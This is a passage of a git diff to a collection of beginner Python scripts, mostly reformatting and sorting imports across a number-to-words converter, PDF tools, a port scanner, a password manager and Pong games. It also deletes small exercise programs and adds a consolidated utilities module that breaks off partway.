- if num >= 1000000000000000000000000000000 or num <= -1000000000000000000000000000000:
- print("Input out of range\n")
+ i = i % 10
+ elif i >= 10:
+ if name == "":
+ name = name + numDict[i]
else:
- if num < 0:
- isNegative = True
- num = num * (-1)
- break
- except ValueError or EOFError:
- print("Invalid Input\n")
+ name = name + " " + numDict[i]
+ i = i % 10
-if num == 0:
- print(f"0 in words is: {Y}Zero{W}")
-else:
- while num > 0:
- groupedList.append(num % 1000)
- num //= 1000
-
- groupedList.reverse()
-
- for i in groupedList:
- if i != 0:
- if i >= 100:
- name = name + numDict[int(i/100)] + " Hundred"
- i = i % 100
-
- if i >= 20:
- if name == "":
- name = name + numDict[i - (i % 10)]
- else:
- name = name + " " + numDict[i - (i % 10)]
-
- i = i % 10
- elif i >= 10:
- if name == "":
- name = name + numDict[i]
- else:
- name = name + " " + numDict[i]
-
- i = i % 10
-
- if i != 0:
- if name == "":
- name = name + numDict[i]
- else:
- name = name + " " + numDict[i]
-
- nameList.append(name)
- name = ""
+ if i != 0:
+ if name == "":
+ name = name + numDict[i]
else:
- nameList.append("")
+ name = name + " " + numDict[i]
- for i in range(len(groupedList)):
- if nameList[i] != "":
- name = name + nameList[i] + " " + placeValueDict[len(groupedList) - i] + " "
+ nameList.append(name)
+ name = ""
+ else:
+ nameList.append("")
- name = name.rstrip()
+ for i in range(len(groupedList)):
+ if nameList[i] != "":
+ name = name + nameList[i] + " " + placeValueDict[len(groupedList) - i] + " "
- if len(splittedNum) == 2 and splittedNum[1] != "":
- name = name + f" {B}Point{Y}"
+ name = name.rstrip()
- for i in splittedNum[1]:
- name = name + " " + digits[i]
+ if len(splittedNum) == 2 and splittedNum[1] != "":
+ name = name + f" {B}Point{Y}"
- print(f"{W}", end="")
+ for i in splittedNum[1]:
+ name = name + " " + digits[i]
- if isNegative == False:
- print(f"\n{placeholder} in words is: {Y}{name}{W}")
- else:
- print(f"\n{placeholder} in words is: {Y}Minus {name}{W}")
+ print(f"{W}", end="")
+
+ if isNegative == False:
+ print(f"\n{placeholder} in words is: {Y}{name}{W}")
+ else:
+ print(f"\n{placeholder} in words is: {Y}Minus {name}{W}")
diff --git a/PDF/demerge_pdfs.py b/PDF/demerge_pdfs.py
index 547708f73ac..ecaf1ba3c26 100644
--- a/PDF/demerge_pdfs.py
+++ b/PDF/demerge_pdfs.py
@@ -11,7 +11,7 @@
pdf = PyPDF2.PdfFileReader(merged_pdf)
-(u, ctr, x) = tuple([0] * 3)
+u, ctr, x = tuple([0] * 3)
for i in range(1, pdf.numPages + 1):
if u >= pdf.numPages:
print("Successfully done!")
diff --git a/PDF/header_footer.py b/PDF/header_footer.py
index f7b50037796..4b4b439b47b 100644
--- a/PDF/header_footer.py
+++ b/PDF/header_footer.py
@@ -1,6 +1,5 @@
from fpdf import FPDF
-
# Author: @NavonilDas
diff --git a/PDF/images.py b/PDF/images.py
index ad3c4033908..52b02a2aabd 100644
--- a/PDF/images.py
+++ b/PDF/images.py
@@ -1,7 +1,7 @@
import os
-from PIL import Image
from fpdf import FPDF
+from PIL import Image
# Author: @NavonilDas
diff --git a/PDFtoAudiobook.py b/PDFtoAudiobook.py
index 648eaa23fcf..71a1a7c84c8 100644
--- a/PDFtoAudiobook.py
+++ b/PDFtoAudiobook.py
@@ -1,5 +1,5 @@
-import pyttsx3
import pyPDF2
+import pyttsx3
book = open("book.pdf", "rb")
pdfreader = pyPDF2.PdfFileReader(book)
diff --git a/PORT SCANNER.PY b/PORT SCANNER.PY
index 594ea3eb16f..f493a72f404 100644
--- a/PORT SCANNER.PY
+++ b/PORT SCANNER.PY
@@ -68,11 +68,11 @@ Open up an text editor, copy & paste the code below. Save the file as:
"portscanner.py" and exit the editor
"""
+import platform
import socket
import subprocess
import sys
from time import time
-import platform
# Clear the screen
subprocess.call('clear' if platform.platform() in ("Linux", "Darwin") else "cls", shell=True)
diff --git a/Password Generator/pass_gen.py b/Password Generator/pass_gen.py
index 82b939cd882..dbc5e093fdf 100644
--- a/Password Generator/pass_gen.py
+++ b/Password Generator/pass_gen.py
@@ -1,5 +1,5 @@
-import string as str
import secrets
+import string as str
class PasswordGenerator:
diff --git a/Password Manager Using Tkinter/PGV.py b/Password Manager Using Tkinter/PGV.py
index 045625ea650..9e107c802d8 100644
--- a/Password Manager Using Tkinter/PGV.py
+++ b/Password Manager Using Tkinter/PGV.py
@@ -1,11 +1,8 @@
import json
new_data = {
- website_input.get():{
- "email": email_input.get(),
- "password": passw_input.get()
- }
- }
+ website_input.get(): {"email": email_input.get(), "password": passw_input.get()}
+}
try:
with open("data.json", "r") as data_file:
@@ -15,4 +12,4 @@
pass
else:
with open("data.json", "w") as data_file:
- json.dump(new_data, data_file, indent = 4)
\ No newline at end of file
+ json.dump(new_data, data_file, indent=4)
diff --git a/Password Manager Using Tkinter/main.py b/Password Manager Using Tkinter/main.py
index 15d6fdc1d13..650c0e591cb 100644
--- a/Password Manager Using Tkinter/main.py
+++ b/Password Manager Using Tkinter/main.py
@@ -1,10 +1,11 @@
+import json
import tkinter as tk
+from random import choice, randint, shuffle
from tkinter import messagebox, simpledialog
+
+import pyperclip
import ttkbootstrap as ttk
from ttkbootstrap.constants import *
-import pyperclip
-import json
-from random import choice, randint, shuffle
# ---------------------------- CONSTANTS ------------------------------- #
FONT_NAME = "Helvetica"
@@ -12,12 +13,66 @@
# in a real application, this should be changed and stored securely (e.g., hashed and salted).
MASTER_PASSWORD = "password123"
+
# ---------------------------- PASSWORD GENERATOR ------------------------------- #
def generate_password():
"""generates a random strong password and copies it to clipboard."""
- letters = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
- numbers = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
- symbols = ['!', '#', '$', '%', '&', '(', ')', '*', '+']
+ letters = [
+ "a",
+ "b",
+ "c",
+ "d",
+ "e",
+ "f",
+ "g",
+ "h",
+ "i",
+ "j",
+ "k",
+ "l",
+ "m",
+ "n",
+ "o",
+ "p",
+ "q",
+ "r",
+ "s",
+ "t",
+ "u",
+ "v",
+ "w",
+ "x",
+ "y",
+ "z",
+ "A",
+ "B",
+ "C",
+ "D",
+ "E",
+ "F",
+ "G",
+ "H",
+ "I",
+ "J",
+ "K",
+ "L",
+ "M",
+ "N",
+ "O",
+ "P",
+ "Q",
+ "R",
+ "S",
+ "T",
+ "U",
+ "V",
+ "W",
+ "X",
+ "Y",
+ "Z",
+ ]
+ numbers = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9"]
+ symbols = ["!", "#", "$", "%", "&", "(", ")", "*", "+"]
password_letters = [choice(letters) for _ in range(randint(8, 10))]
password_symbols = [choice(symbols) for _ in range(randint(2, 4))]
@@ -30,7 +85,10 @@ def generate_password():
password_entry.delete(0, tk.END)
password_entry.insert(0, password)
pyperclip.copy(password)
- messagebox.showinfo(title="Password Generated", message="Password copied to clipboard!")
+ messagebox.showinfo(
+ title="Password Generated", message="Password copied to clipboard!"
+ )
+
# ---------------------------- SAVE PASSWORD ------------------------------- #
def save():
@@ -46,18 +104,23 @@ def save():
}
if not website or not password:
- messagebox.showerror(title="Oops", message="Please don't leave any fields empty!")
+ messagebox.showerror(
+ title="Oops", message="Please don't leave any fields empty!"
+ )
return
- is_ok = messagebox.askokcancel(title=website, message=f"These are the details entered: \nEmail: {email} "
- f"\nPassword: {password} \nIs it ok to save?")
+ is_ok = messagebox.askokcancel(
+ title=website,
+ message=f"These are the details entered: \nEmail: {email} "
+ f"\nPassword: {password} \nIs it ok to save?",
+ )
if is_ok:
try:
with open("data.json", "r") as data_file:
data = json.load(data_file)
- except (FileNotFoundError, json.JSONDecodeError):
+ except FileNotFoundError, json.JSONDecodeError:
data = {}
-
+
data.update(new_data)
with open("data.json", "w") as data_file:
@@ -66,6 +129,7 @@ def save():
website_entry.delete(0, tk.END)
password_entry.delete(0, tk.END)
+
# ---------------------------- FIND PASSWORD ------------------------------- #
def find_password():
"""finds and displays password for a given website."""
@@ -73,94 +137,126 @@ def find_password():
try:
with open("data.json", "r") as data_file:
data = json.load(data_file)
- except (FileNotFoundError, json.JSONDecodeError):
+ except FileNotFoundError, json.JSONDecodeError:
messagebox.showerror(title="Error", message="No Data File Found.")
return
-
+
if website in data:
email = data[website]["email"]
password = data[website]["password"]
- messagebox.showinfo(title=website, message=f"Email: {email}\nPassword: {password}")
+ messagebox.showinfo(
+ title=website, message=f"Email: {email}\nPassword: {password}"
+ )
pyperclip.copy(password)
- messagebox.showinfo(title="Copied", message="Password for {} copied to clipboard.".format(website))
+ messagebox.showinfo(
+ title="Copied",
+ message="Password for {} copied to clipboard.".format(website),
+ )
else:
messagebox.showerror(title="Error", message=f"No details for {website} exists.")
+
# ---------------------------- VIEW ALL PASSWORDS ------------------------------- #
def view_all_passwords():
"""prompts for master password and displays all saved passwords if correct."""
- password = simpledialog.askstring("Master Password", "Please enter the master password:", show='*')
-
+ password = simpledialog.askstring(
+ "Master Password", "Please enter the master password:", show="*"
+ )
+
if password == MASTER_PASSWORD:
show_passwords_window()
- elif password is not None: # avoids error message if user clicks cancel
- messagebox.showerror("Incorrect Password", "The master password you entered is incorrect.")
+ elif password is not None: # avoids error message if user clicks cancel
+ messagebox.showerror(
+ "Incorrect Password", "The master password you entered is incorrect."
+ )
+
def show_passwords_window():
"""creates a new window to display all passwords in a table."""
all_passwords_window = tk.Toplevel(window)
all_passwords_window.title("All Saved Passwords")
all_passwords_window.config(padx=20, pady=20)
-
+
# a frame for the treeview and scrollbar
tree_frame = ttk.Frame(all_passwords_window)
- tree_frame.grid(row=0, column=0, columnspan=2, sticky='nsew')
-
+ tree_frame.grid(row=0, column=0, columnspan=2, sticky="nsew")
+
# a Treeview (table)
- cols = ('Website', 'Email', 'Password')
- tree = ttk.Treeview(tree_frame, columns=cols, show='headings')
-
+ cols = ("Website", "Email", "Password")
+ tree = ttk.Treeview(tree_frame, columns=cols, show="headings")
+
# column headings and widths
- tree.heading('Website', text='Website')
- tree.column('Website', width=150)
- tree.heading('Email', text='Email/Username')
- tree.column('Email', width=200)
- tree.heading('Password', text='Password')
- tree.column('Password', width=200)
-
- tree.grid(row=0, column=0, sticky='nsew')
+ tree.heading("Website", text="Website")
+ tree.column("Website", width=150)
+ tree.heading("Email", text="Email/Username")
+ tree.column("Email", width=200)
+ tree.heading("Password", text="Password")
+ tree.column("Password", width=200)
+
+ tree.grid(row=0, column=0, sticky="nsew")
# a scrollbar
scrollbar = ttk.Scrollbar(tree_frame, orient=tk.VERTICAL, command=tree.yview)
tree.configure(yscroll=scrollbar.set)
- scrollbar.grid(row=0, column=1, sticky='ns')
+ scrollbar.grid(row=0, column=1, sticky="ns")
# load data from JSON file
try:
with open("data.json", "r") as data_file:
data = json.load(data_file)
-
+
# insert data into the treeview
for website, details in data.items():
- tree.insert("", "end", values=(website, details['email'], details['password']))
-
- except (FileNotFoundError, json.JSONDecodeError):
+ tree.insert(
+ "", "end", values=(website, details["email"], details["password"])
+ )
+
+ except FileNotFoundError, json.JSONDecodeError:
# if file not found or empty, it will just show an empty table
pass
-
+
def copy_selected_info(column_index, info_type):
"""copies the email or password of the selected row."""
selected_item = tree.focus()
if not selected_item:
- messagebox.showwarning("No Selection", "Please select a row from the table first.", parent=all_passwords_window)
+ messagebox.showwarning(
+ "No Selection",
+ "Please select a row from the table first.",
+ parent=all_passwords_window,
+ )
return
-
- item_values = tree.item(selected_item, 'values')
+
+ item_values = tree.item(selected_item, "values")
info_to_copy = item_values[column_index]
pyperclip.copy(info_to_copy)
- messagebox.showinfo("Copied!", f"The {info_type.lower()} for '{item_values[0]}' has been copied to your clipboard.", parent=all_passwords_window)
+ messagebox.showinfo(
+ "Copied!",
+ f"The {info_type.lower()} for '{item_values[0]}' has been copied to your clipboard.",
+ parent=all_passwords_window,
+ )
# a frame for the buttons
button_frame = ttk.Frame(all_passwords_window)
- button_frame.grid(row=1, column=0, columnspan=2, pady=(10,0))
+ button_frame.grid(row=1, column=0, columnspan=2, pady=(10, 0))
- copy_email_button = ttk.Button(button_frame, text="Copy Email", style="success.TButton", command=lambda: copy_selected_info(1, "Email"))
+ copy_email_button = ttk.Button(
+ button_frame,
+ text="Copy Email",
+ style="success.TButton",
+ command=lambda: copy_selected_info(1, "Email"),
+ )
copy_email_button.pack(side=tk.LEFT, padx=5)
- copy_password_button = ttk.Button(button_frame, text="Copy Password", style="success.TButton", command=lambda: copy_selected_info(2, "Password"))
+ copy_password_button = ttk.Button(
+ button_frame,
+ text="Copy Password",
+ style="success.TButton",
+ command=lambda: copy_selected_info(2, "Password"),
+ )
copy_password_button.pack(side=tk.LEFT, padx=5)
- all_passwords_window.grab_set() # makes window modal
+ all_passwords_window.grab_set() # makes window modal
+
# ---------------------------- UI SETUP ------------------------------- #
window = ttk.Window(themename="superhero")
@@ -192,16 +288,21 @@ def copy_selected_info(column_index, info_type):
password_entry.grid(row=3, column=1, pady=5, sticky="EW")
# buttons
-search_button = ttk.Button(text="Search", width=14, command=find_password, style="info.TButton")
-search_button.grid(row=1, column=2, sticky="EW", padx=(5,0))
-generate_password_button = ttk.Button(text="Generate Password", command=generate_password, style="success.TButton")
-generate_password_button.grid(row=3, column=2, sticky="EW", padx=(5,0))
+search_button = ttk.Button(
+ text="Search", width=14, command=find_password, style="info.TButton"
+)
+search_button.grid(row=1, column=2, sticky="EW", padx=(5, 0))
+generate_password_button = ttk.Button(
+ text="Generate Password", command=generate_password, style="success.TButton"
+)
+generate_password_button.grid(row=3, column=2, sticky="EW", padx=(5, 0))
add_button = ttk.Button(text="Add", width=43, command=save, style="primary.TButton")
-add_button.grid(row=4, column=1, columnspan=2, pady=(10,0), sticky="EW")
+add_button.grid(row=4, column=1, columnspan=2, pady=(10, 0), sticky="EW")
-view_all_button = ttk.Button(text="View All Passwords", command=view_all_passwords, style="secondary.TButton")
-view_all_button.grid(row=5, column=1, columnspan=2, pady=(10,0), sticky="EW")
+view_all_button = ttk.Button(
+ text="View All Passwords", command=view_all_passwords, style="secondary.TButton"
+)
+view_all_button.grid(row=5, column=1, columnspan=2, pady=(10, 0), sticky="EW")
window.mainloop()
-
diff --git a/PingPong/main.py b/PingPong/main.py
index b98773e8c08..e6ee44bc096 100644
--- a/PingPong/main.py
+++ b/PingPong/main.py
@@ -1,6 +1,6 @@
+import pygame
from Ball import Ball
from Slab import Slab
-import pygame
WIDTH = 600
HEIGHT = 600
diff --git a/PongPong_Game/pong/ball.py b/PongPong_Game/pong/ball.py
index a60e0bf666a..566fde7f183 100644
--- a/PongPong_Game/pong/ball.py
+++ b/PongPong_Game/pong/ball.py
@@ -1,9 +1,10 @@
# ./PongPong/pong/ball.py
-import pyglet
import random
from typing import Tuple
+import pyglet
+
class BallObject(pyglet.shapes.Circle):
def __init__(self, *args, **kwargs):
diff --git a/PongPong_Game/pong/load.py b/PongPong_Game/pong/load.py
index f06ff73da4e..3a9f3b3fd71 100644
--- a/PongPong_Game/pong/load.py
+++ b/PongPong_Game/pong/load.py
@@ -1,8 +1,9 @@
# ./PongPong/pong/load.py
-from . import ball, paddle, rectangle
from typing import Tuple
+from . import ball, paddle, rectangle
+
def load_balls(win_size: Tuple, radius: float, speed: Tuple, batch=None):
balls = []
diff --git a/PongPong_Game/pong/paddle.py b/PongPong_Game/pong/paddle.py
index 0a442523642..49461b82ef0 100644
--- a/PongPong_Game/pong/paddle.py
+++ b/PongPong_Game/pong/paddle.py
@@ -1,8 +1,9 @@
# ./PongPong/pong/paddle.py
+from typing import Tuple
+
import pyglet
from pyglet.window import key
-from typing import Tuple
class Paddle(pyglet.shapes.Rectangle):
diff --git a/Python Programs/Program of Reverse of any number.py b/Python Programs/Program of Reverse of any number.py
deleted file mode 100644
index 75edba98cc8..00000000000
--- a/Python Programs/Program of Reverse of any number.py
+++ /dev/null
@@ -1,12 +0,0 @@
-num = int(input("enter any Number"))
-rev = 0
-while num > 0:
- Rem = num % 10
- num = num // 10
- rev = rev * 10 + Rem
-print("The Reverse of the number", rev)
-##################
-# could also simply do this another way
-
-num = input()
-print(int(num[::-1]))
diff --git a/Python Programs/Program to print table of given number.py b/Python Programs/Program to print table of given number.py
deleted file mode 100644
index 699e4047174..00000000000
--- a/Python Programs/Program to print table of given number.py
+++ /dev/null
@@ -1,19 +0,0 @@
-n = int(input("Enter the number to print the tables for:"))
-for i in range(1, 11):
- print(n, "x", i, "=", n * i)
-
-# Example
-# input: 2
-# output:
-"""
-2 x 1 = 2
-2 x 2 = 4
-2 x 3 = 6
-2 x 4 = 8
-2 x 5 = 10
-2 x 6 = 12
-2 x 7 = 14
-2 x 8 = 16
-2 x 9 = 18
-2 x 10 = 20
-"""
diff --git a/Python Programs/Program to reverse Linked List( Recursive solution).py b/Python Programs/Program to reverse Linked List( Recursive solution).py
deleted file mode 100644
index 14f27b7a6fc..00000000000
--- a/Python Programs/Program to reverse Linked List( Recursive solution).py
+++ /dev/null
@@ -1,65 +0,0 @@
-from sys import stdin, setrecursionlimit
-
-setrecursionlimit(10**6)
-
-
-# Following is the Node class already written for the Linked List
-class Node:
- def __init__(self, data):
- self.data = data
- self.next = None
-
-
-def reverseLinkedListRec(head):
- if head is None:
- return None
- if head.next is None:
- return head
- smallhead = reverseLinkedListRec(head.next)
- head.next.next = head
- head.next = None
- return smallhead
-
-
-# Taking Input Using Fast I/O
-def takeInput():
- head = None
- tail = None
-
- datas = list(map(int, stdin.readline().rstrip().split(" ")))
-
- i = 0
- while (i < len(datas)) and (datas[i] != -1):
- data = datas[i]
- newNode = Node(data)
-
- if head is None:
- head = newNode
- tail = newNode
-
- else:
- tail.next = newNode
- tail = newNode
-
- i += 1
-
- return head
-
-
-def printLinkedList(head):
- while head is not None:
- print(head.data, end=" ")
- head = head.next
- print()
-
-
-# main
-t = int(stdin.readline().rstrip())
-
-while t > 0:
- head = takeInput()
-
- newHead = reverseLinkedListRec(head)
- printLinkedList(newHead)
-
- t -= 1
diff --git a/Python Programs/Python Program for Product of unique prime factors of a number.py b/Python Programs/Python Program for Product of unique prime factors of a number.py
deleted file mode 100644
index 1018f51be56..00000000000
--- a/Python Programs/Python Program for Product of unique prime factors of a number.py
+++ /dev/null
@@ -1,29 +0,0 @@
-# Python program to find sum of given
-# series.
-
-
-def productPrimeFactors(n):
- product = 1
-
- for i in range(2, n + 1):
- if n % i == 0:
- isPrime = 1
-
- for j in range(2, int(i / 2 + 1)):
- if i % j == 0:
- isPrime = 0
- break
-
- # condition if \'i\' is Prime number
- # as well as factor of num
- if isPrime:
- product = product * i
-
- return product
-
-
-# main()
-n = 44
-print(productPrimeFactors(n))
-
-# Contributed by _omg
diff --git a/Python Programs/Python Program for Tower of Hanoi.py b/Python Programs/Python Program for Tower of Hanoi.py
deleted file mode 100644
index 00c8eb96ce0..00000000000
--- a/Python Programs/Python Program for Tower of Hanoi.py
+++ /dev/null
@@ -1,12 +0,0 @@
-# Recursive Python function to solve the tower of hanoi
-def TowerOfHanoi(n, source, destination, auxiliary):
- if n == 1:
- print("Move disk 1 from source ", source, " to destination ", destination)
- return
- TowerOfHanoi(n - 1, source, auxiliary, destination)
- print("Move disk ", n, " from source ", source, " to destination ", destination)
- TowerOfHanoi(n - 1, auxiliary, destination, source)
-
-
-n = 4
-TowerOfHanoi(n, "A", "B", "C")
diff --git a/Python Programs/Python Program for factorial of a number.py b/Python Programs/Python Program for factorial of a number.py
deleted file mode 100644
index 2fd0ec75fe5..00000000000
--- a/Python Programs/Python Program for factorial of a number.py
+++ /dev/null
@@ -1,43 +0,0 @@
-"""
-Factorial of a non-negative integer, is multiplication of
-all integers smaller than or equal to n.
-For example factorial of 6 is 6*5*4*3*2*1 which is 720.
-"""
-
-"""
-Recursive:
-Python3 program to find factorial of given number
-"""
-
-
-def factorial(n):
- # single line to find factorial
- return 1 if (n == 1 or n == 0) else n * factorial(n - 1)
-
-
-# Driver Code
-num = 5
-print("Factorial of", num, "is", factorial((num)))
-
-"""
-Iterative:
-Python 3 program to find factorial of given number.
-"""
-
-
-def factorial(n):
- if n < 0:
- return 0
- elif n == 0 or n == 1:
- return 1
- else:
- fact = 1
- while n > 1:
- fact *= n
- n -= 1
- return fact
-
-
-# Driver Code
-num = 5
-print("Factorial of", num, "is", factorial(num))
diff --git a/Python Programs/Python Program to Count the Number of Each Vowel.py b/Python Programs/Python Program to Count the Number of Each Vowel.py
deleted file mode 100644
index eb66d0967d6..00000000000
--- a/Python Programs/Python Program to Count the Number of Each Vowel.py
+++ /dev/null
@@ -1,19 +0,0 @@
-# Program to count the number of each vowels
-
-# string of vowels
-vowels = "aeiou"
-
-ip_str = "Hello, have you tried our tutorial section yet?"
-
-# make it suitable for caseless comparisions
-ip_str = ip_str.casefold()
-
-# make a dictionary with each vowel a key and value 0
-count = {}.fromkeys(vowels, 0)
-
-# count the vowels
-for char in ip_str:
- if char in count:
- count[char] += 1
-
-print(count)
diff --git a/Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py b/Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py
deleted file mode 100644
index 7bfb6b7a03a..00000000000
--- a/Python Programs/Python Program to Display Fibonacci Sequence Using Recursion.py
+++ /dev/null
@@ -1,16 +0,0 @@
-def recur_fibo(n):
- if n <= 1:
- return n
- else:
- return recur_fibo(n - 1) + recur_fibo(n - 2)
-
-
-nterms = 10
-
-# check if the number of terms is valid
-if nterms <= 0:
- print("Please enter a positive integer")
-else:
- print("Fibonacci sequence:")
- for i in range(nterms):
- print(recur_fibo(i))
diff --git a/Python Programs/Python Program to Find LCM.py b/Python Programs/Python Program to Find LCM.py
deleted file mode 100644
index dfd1b57e81e..00000000000
--- a/Python Programs/Python Program to Find LCM.py
+++ /dev/null
@@ -1,23 +0,0 @@
-# Python Program to find the L.C.M. of two input number
-
-
-def compute_lcm(x, y):
- # choose the greater number
- if x > y:
- greater = x
- else:
- greater = y
-
- while True:
- if (greater % x == 0) and (greater % y == 0):
- lcm = greater
- break
- greater += 1
-
- return lcm
-
-
-num1 = 54
-num2 = 24
-
-print("The L.C.M. is", compute_lcm(num1, num2))
diff --git a/Python Programs/Python Program to Merge Mails.py b/Python Programs/Python Program to Merge Mails.py
deleted file mode 100644
index f8189fff88e..00000000000
--- a/Python Programs/Python Program to Merge Mails.py
+++ /dev/null
@@ -1,18 +0,0 @@
-# Python program to mail merger
-# Names are in the file names.txt
-# Body of the mail is in body.txt
-
-# open names.txt for reading
-with open("names.txt", "r", encoding="utf-8") as names_file:
- # open body.txt for reading
- with open("body.txt", "r", encoding="utf-8") as body_file:
- # read entire content of the body
- body = body_file.read()
-
- # iterate over names
- for name in names_file:
- mail = "Hello " + name.strip() + "\n" + body
-
- # write the mails to individual files
- with open(name.strip() + ".txt", "w", encoding="utf-8") as mail_file:
- mail_file.write(mail)
diff --git a/Python Programs/Python Program to Print the Fibonacci sequence.py b/Python Programs/Python Program to Print the Fibonacci sequence.py
deleted file mode 100644
index d6a70a574cd..00000000000
--- a/Python Programs/Python Program to Print the Fibonacci sequence.py
+++ /dev/null
@@ -1,23 +0,0 @@
-# Program to display the Fibonacci sequence up to n-th term
-
-nterms = int(input("How many terms? "))
-
-# first two terms
-n1, n2 = 0, 1
-count = 0
-
-# check if the number of terms is valid
-if nterms <= 0:
- print("Please enter a positive integer")
-elif nterms == 1:
- print("Fibonacci sequence upto", nterms, ":")
- print(n1)
-else:
- print("Fibonacci sequence:")
- while count < nterms:
- print(n1)
- nth = n1 + n2
- # update values
- n1 = n2
- n2 = nth
- count += 1
diff --git a/Python Programs/Python Program to Remove Punctuations from a String.py b/Python Programs/Python Program to Remove Punctuations from a String.py
deleted file mode 100644
index 6154c73a11b..00000000000
--- a/Python Programs/Python Program to Remove Punctuations from a String.py
+++ /dev/null
@@ -1,16 +0,0 @@
-# define punctuation
-punctuations = r"""!()-[]{};:'"\,<>./?@#$%^&*_~"""
-
-my_str = "Hello!!!, he said ---and went."
-
-# To take input from the user
-# my_str = input("Enter a string: ")
-
-# remove punctuation from the string
-no_punct = ""
-for char in my_str:
- if char not in punctuations:
- no_punct = no_punct + char
-
-# display the unpunctuated string
-print(no_punct)
diff --git a/Python Programs/Python Program to Reverse a linked list.py b/Python Programs/Python Program to Reverse a linked list.py
deleted file mode 100644
index e636a0df632..00000000000
--- a/Python Programs/Python Program to Reverse a linked list.py
+++ /dev/null
@@ -1,56 +0,0 @@
-# Python program to reverse a linked list
-# Time Complexity : O(n)
-# Space Complexity : O(1)
-
-# Node class
-class Node:
- # Constructor to initialize the node object
- def __init__(self, data):
- self.data = data
- self.next = None
-
-
-class LinkedList:
- # Function to initialize head
- def __init__(self):
- self.head = None
-
- # Function to reverse the linked list
- def reverse(self):
- prev = None
- current = self.head
- while current is not None:
- next = current.next
- current.next = prev
- prev = current
- current = next
- self.head = prev
-
- # Function to insert a new node at the beginning
- def push(self, new_data):
- new_node = Node(new_data)
- new_node.next = self.head
- self.head = new_node
-
- # Utility function to print the linked LinkedList
- def printList(self):
- temp = self.head
- while temp:
- print(temp.data)
- temp = temp.next
-
-
-# Driver program to test above functions
-llist = LinkedList()
-llist.push(20)
-llist.push(4)
-llist.push(15)
-llist.push(85)
-
-print("Given Linked List")
-llist.printList()
-llist.reverse()
-print("\nReversed Linked List")
-llist.printList()
-
-# This code is contributed by Nikhil Kumar Singh(nickzuck_007)
diff --git a/Python Programs/Python Program to Sort Words in Alphabetic Order.py b/Python Programs/Python Program to Sort Words in Alphabetic Order.py
deleted file mode 100644
index 737f88c5a8e..00000000000
--- a/Python Programs/Python Program to Sort Words in Alphabetic Order.py
+++ /dev/null
@@ -1,42 +0,0 @@
-# Program to sort words alphabetically and put them in a dictionary with corresponding numbered keys
-# We are also removing punctuation to ensure the desired output, without importing a library for assistance.
-
-# Declare base variables
-word_Dict = {}
-count = 0
-my_str = "Hello this Is an Example With cased letters. Hello, this is a good string"
-# Initialize punctuation
-punctuations = """!()-[]{};:'",<>./?@#$%^&*_~"""
-
-# To take input from the user
-# my_str = input("Enter a string: ")
-
-# remove punctuation from the string and use an empty variable to put the alphabetic characters into
-no_punct = ""
-for char in my_str:
- if char not in punctuations:
- no_punct = no_punct + char
-
-# Make all words in string lowercase. my_str now equals the original string without the punctuation
-my_str = no_punct.lower()
-
-# breakdown the string into a list of words
-words = my_str.split()
-
-# sort the list and remove duplicate words
-words.sort()
-
-new_Word_List = []
-for word in words:
- if word not in new_Word_List:
- new_Word_List.append(word)
- else:
- continue
-
-# insert sorted words into dictionary with key
-
-for word in new_Word_List:
- count += 1
- word_Dict[count] = word
-
-print(word_Dict)
diff --git a/Python Programs/Python Program to Transpose a Matrix.py b/Python Programs/Python Program to Transpose a Matrix.py
deleted file mode 100644
index d636ebcfa6a..00000000000
--- a/Python Programs/Python Program to Transpose a Matrix.py
+++ /dev/null
@@ -1,12 +0,0 @@
-X = [[12, 7], [4, 5], [3, 8]]
-
-result = [[0, 0, 0], [0, 0, 0]]
-
-# iterate through rows
-for i in range(len(X)):
- # iterate through columns
- for j in range(len(X[0])):
- result[j][i] = X[i][j]
-
-for r in result:
- print(r)
diff --git a/Python Programs/Python Programs.py b/Python Programs/Python Programs.py
new file mode 100644
index 00000000000..f9485cab6c7
--- /dev/null
+++ b/Python Programs/Python Programs.py
@@ -0,0 +1,471 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+Comprehensive Utilities Collection
+
+This module contains a collection of common algorithms and utilities,
+including number theory, string manipulation, linked list operations,
+and classic puzzles. All functions are optimized and fully type-annotated.
+
+Functions:
+ - reverse_number(num)
+ - print_table(n)
+ - reverse_linked_list_recursive(head)
+ - reverse_linked_list_iterative(head)
+ - factorial(n)
+ - sqrt(num)
+ - product_of_unique_prime_factors(n) # uses sympy for speed
+ - tower_of_hanoi(n, source, dest, aux)
+ - count_vowels(text)
+ - lcm(a, b)
+ - fibonacci_recursive(n)
+ - fibonacci_sequence(n)
+ - mail_merge(names_file, body_file)
+ - remove_punctuation(text)
+ - sort_words(text)
+ - transpose_matrix(matrix)
+
+Dependencies:
+ - sympy (for prime factors)
+"""
+
+import math
+import sys
+from typing import Dict, List, Optional
+
+from sympy import primefactors
+
+
+# ---------- Linked List Node ----------
+class Node:
+ """Singly linked list node."""
+
+ def __init__(self, data: int) -> None:
+ self.data: int = data
+ self.next: Optional["Node"] = None
+
+
+# ---------- 1. Reverse a number ----------
+def reverse_number(num: int) -> int:
+ """
+ Reverse the digits of an integer.
+
+ Args:
+ num: A non-negative integer.
+
+ Returns:
+ The reversed integer.
+
+ Examples:
+ >>> reverse_number(12345)
+ 54321
+ >>> reverse_number(1000)
+ 1
+ >>> reverse_number(0)
+ 0
+ """
+ if num < 0:
+ raise ValueError("num must be non-negative")
+ rev = 0
+ while num > 0:
+ rev = rev * 10 + num % 10
+ num //= 10
+ return rev
+
+
+# ---------- 2. Print multiplication table ----------
+def print_table(n: int, upto: int = 10) -> None:
+ """
+ Print the multiplication table for n from 1 to upto.
+
+ Args:
+ n: The number.
+ upto: Upper limit (default 10).
+
+ Examples:
+ >>> print_table(2, 3)
+ 2 x 1 = 2
+ 2 x 2 = 4
+ 2 x 3 = 6
+ """
+ for i in range(1, upto + 1):
+ print(f"{n} x {i} = {n * i}")
+
+
+# ---------- 3. Reverse Linked List (Recursive) ----------
+def reverse_linked_list_recursive(head: Optional[Node]) -> Optional[Node]:
+ """
+ Reverse a singly linked list recursively.
+
